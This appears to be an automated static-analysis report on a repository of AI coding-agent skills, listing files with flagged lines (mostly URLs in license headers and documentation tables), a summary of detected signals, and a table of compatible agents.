* registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only * extension not yet in the draft. This API is in flux — re-check against the - Network accessline 29
* (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 30
* extension not yet in the draft. This API is in flux — re-check against the * draft and https://developer.chrome.com/docs/ai/webmcp when updating. * - Network accessline 31
* draft and https://developer.chrome.com/docs/ai/webmcp when updating.
harness/github-copilot/skills/webmcpify/templates/webmcp.spec.ts
- Network accessline 1
/** * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 42
const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';
harness/github-copilot/skills/webmcpify/templates/webmcpify.js
- Network accessline 1
/** * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 139
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 140
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 141
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/github-copilot/skills/webmcpify/templates/webmcpify.ts
- Network accessline 1
/** * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 165
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 166
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 167
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/github-copilot/skills/winmd-api-search/SKILL.md
- Network accessline 31
- **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available. - Network accessline 116
| Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 117
|-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type - Network accessline 118
| `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 119
| `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` | - Network accessline 121
For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 122
`https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 229
- [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces - Network accessline 230
- [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces
harness/github-copilot/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/winmd-api-search/scripts/Update-WinMdCache.ps1
harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json
harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props
harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets
harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json
harness/github-copilot/skills/write-coding-standards-from-file/SKILL.md
- Network accessline 72
Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${ - Network accessline 93
| Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 94
| --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 95
| C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 96
| C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 97
| C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` | - Network accessline 98
| Go Style Guide | `https://github.com/golang-standards/project-layout` | - Network accessline 99
| Java Style Guide | `https://coderanch.com/wiki/718799/Style` | - Network accessline 100
| AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` | - Network accessline 101
| jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` | - Network accessline 102
| JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` | - Network accessline 103
| JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` | - Network accessline 104
| Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` | - Network accessline 105
| Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` | - Network accessline 106
| Perl Style Guide | `https://perldoc.perl.org/perlstyle` | - Network accessline 107
| PHP Style Guide | `https://phptherightway.com/` | - Network accessline 108
| Python Style Guide | `https://peps.python.org/pep-0008/` | - Network accessline 109
| Ruby Style Guide | `https://rubystyle.guide/` | - Network accessline 110
| Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` | - Network accessline 111
| Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` | - Network accessline 112
| TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` | - Network accessline 113
| Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` | - Network accessline 114
| Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` | - Network accessline 115
| Git Usage Style Guide | `https://github.com/agis/git-style-guide` | - Network accessline 116
| PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` | - Network accessline 117
| CSS | `https://cssguidelin.es/` | - Network accessline 118
| Sass Style Guide | `https://sass-guidelin.es/` | - Network accessline 119
| HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` | - Network accessline 120
| Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` | - Network accessline 121
| Node.js Style Guide | `https://github.com/felixge/node-style-guide` | - Network accessline 122
| SQL Style Guide | `https://www.sqlstyle.guide/` | - Network accessline 123
| Angular Style Guide | `https://angular.dev/style-guide` | - Network accessline 124
| Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` | - Network accessline 125
| Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` | - Network accessline 126
| SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` | - Network accessline 268
- [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html) - Network accessline 269
- [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions) - Network accessline 270
- [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines) - Network accessline 271
- [Go Style Guide](https://github.com/golang-standards/project-layout) - Network accessline 272
- [Java Style Guide](https://coderanch.com/wiki/718799/Style) - Network accessline 273
- [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide) - Network accessline 274
- [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/) - Network accessline 275
- [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp) - Network accessline 276
- [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml) - Network accessline 277
- [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html) - Network accessline 278
- [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/) - Network accessline 279
- [Perl Style Guide](https://perldoc.perl.org/perlstyle) - Network accessline 280
- [PHP Style Guide](https://phptherightway.com/) - Network accessline 281
- [Python Style Guide](https://peps.python.org/pep-0008/) - Network accessline 282
- [Ruby Style Guide](https://rubystyle.guide/) - Network accessline 283
- [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src) - Network accessline 284
- [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/) - Network accessline 285
- [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html) - Network accessline 286
- [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards) - Network accessline 287
- [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html) - Network accessline 288
- [Git Usage Style Guide](https://github.com/agis/git-style-guide) - Network accessline 289
- [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle) - Network accessline 290
- [CSS](https://cssguidelin.es/) - Network accessline 291
- [Sass Style Guide](https://sass-guidelin.es/) - Network accessline 292
- [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide) - Network accessline 293
- [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html) - Network accessline 294
- [Node.js Style Guide](https://github.com/felixge/node-style-guide) - Network accessline 295
- [SQL Style Guide](https://www.sqlstyle.guide/) - Network accessline 296
- [Angular Style Guide](https://angular.dev/style-guide) - Network accessline 297
- [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html) - Network accessline 298
- [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/) - Network accessline 299
- [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)
harness/github-copilot/skills/x-twitter-scraper/SKILL.md
- Network accessline 23
| Source | URL | | --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview | - Network accessline 24
| --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview | | SDK index | https://docs.xquik.com/sdks | - Network accessline 25
| REST API docs | https://docs.xquik.com/api-reference/overview | - Network accessline 26
| SDK index | https://docs.xquik.com/sdks | - Network accessline 27
| OpenAPI spec | https://xquik.com/openapi.json | - Network accessline 28
| MCP server docs | https://docs.xquik.com/mcp/overview | - Network accessline 29
| Skill repo | https://github.com/Xquik-dev/x-twitter-scraper | - Network accessline 30
| TweetClaw OpenClaw plugin | https://github.com/Xquik-dev/tweetclaw | - Network accessline 31
| TweetClaw npm metadata | https://registry.npmjs.org/@xquik%2Ftweetclaw | - Network accessline 32
| X Tweet Scraper Actor | https://apify.com/xquik/x-tweet-scraper | - Network accessline 33
| X Follower Scraper Actor | https://apify.com/xquik/x-follower-scraper | - Network accessline 67
[Credential-related source omitted] - Network accessline 73
[Credential-related source omitted] - Network accessline 128
- [REST API docs](https://docs.xquik.com/api-reference/overview) - Network accessline 129
- [SDK index](https://docs.xquik.com/sdks) - Network accessline 130
- [OpenAPI spec](https://xquik.com/openapi.json) - Network accessline 131
- [MCP server docs](https://docs.xquik.com/mcp/overview) - Network accessline 132
- [Skill repo](https://github.com/Xquik-dev/x-twitter-scraper) - Network accessline 133
- [TweetClaw OpenClaw plugin](https://github.com/Xquik-dev/tweetclaw) - Network accessline 134
- [TweetClaw npm registry metadata](https://registry.npmjs.org/@xquik%2Ftweetclaw) - Network accessline 135
- [X Tweet Scraper Actor](https://apify.com/xquik/x-tweet-scraper) - Network accessline 136
- [X Follower Scraper Actor](https://apify.com/xquik/x-follower-scraper) - Network accessline 137
- [Tweet Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-tweet-scraper/runs) - Network accessline 138
- [Follower Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-follower-scraper/runs)
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Signal confidence: 500 facts
- Network access in prose of the SKILL.mdiac-review/SKILL.md:86Low confidence
- Network access in prose of the SKILL.mdiac-review/SKILL.md:87Low confidence
- Network access in prose of the SKILL.mdiac-review/SKILL.md:88Low confidence
- Executable script in code of a file that runsskill-creator/eval-viewer/generate_review.py:1High confidence
- Network access in code of a file that runsskill-creator/eval-viewer/generate_review.py:99High confidence
- Network access in code of a file that runsskill-creator/eval-viewer/generate_review.py:100High confidence
- Network access in code of a file that runsskill-creator/eval-viewer/generate_review.py:101High confidence
- Network access in code of a file that runsskill-creator/eval-viewer/generate_review.py:198High confidence
- Network access in code of a file that runsskill-creator/eval-viewer/generate_review.py:199High confidence
- Executable script in code of a file that runsskill-creator/scripts/validate_skill.py:1High confidence
- Network access in prose of the SKILL.mdagent-governance/SKILL.md:156Low confidence
- Network access in prose of the SKILL.mdagent-governance/SKILL.md:157Low confidence
- Network access in prose of the SKILL.mdagent-governance/SKILL.md:158Low confidence
- Dangerous shell operation in prose of the SKILL.mdagent-owasp-compliance/SKILL.md:60Low confidence
- Dangerous shell operation in prose of the SKILL.mdagent-owasp-compliance/SKILL.md:61Low confidence
- Network access in prose of the SKILL.mdagent-owasp-compliance/SKILL.md:139Low confidence
- Network access in prose of the SKILL.mdagent-owasp-compliance/SKILL.md:140Low confidence
- Network access in prose of the SKILL.mdagent-owasp-compliance/SKILL.md:141Low confidence
- Network access in prose of the SKILL.mdagent-supply-chain/SKILL.md:184Low confidence
- Network access in prose of the SKILL.mdagent-supply-chain/SKILL.md:185Low confidence
- Network access in prose of the SKILL.mdagent-supply-chain/SKILL.md:186Low confidence
- Network access in prose of the SKILL.mdagent-supply-chain/SKILL.md:187Low confidence
- Network access in prose of the SKILL.mdcodeql/SKILL.md:28Low confidence
- Network access in prose of the SKILL.mdcodeql/SKILL.md:30Low confidence
- Network access in prose of the SKILL.mdcodeql/SKILL.md:243Low confidence
- Network access in prose of documentationcodeql/references/cli-commands.md:9Low confidence
- Network access in prose of documentationcodeql/references/cli-commands.md:10Low confidence
- Dangerous shell operation in prose of documentationcodeql/references/compiled-languages.md:52Low confidence
- Network access in prose of documentationcodeql/references/sarif-output.md:9Low confidence
- Network access in prose of documentationcodeql/references/sarif-output.md:10Low confidence
- Network access in prose of documentationcodeql/references/sarif-output.md:258Low confidence
- Network access in prose of documentationcodeql/references/troubleshooting.md:241Low confidence
- Network access in prose of documentationcodeql/references/troubleshooting.md:242Low confidence
- Network access in prose of the SKILL.mddata-breach-blast-radius/SKILL.md:27Low confidence
- Network access in prose of the SKILL.mddata-breach-blast-radius/SKILL.md:324Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:11Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:12Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:13Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:17Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:18Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:19Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:23Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:24Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:25Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:33Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:34Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:48Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:49Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:50Low confidence
- Network access in prose of documentationdata-breach-blast-radius/references/SOURCES.md:51Low confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest harness/claude-code/plugins/open-horizons-platform/AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md docs/references/ears-validate/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md docs/references/ears-validate/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Native | Manifest .github/copilot-instructions.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md docs/references/ears-validate/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.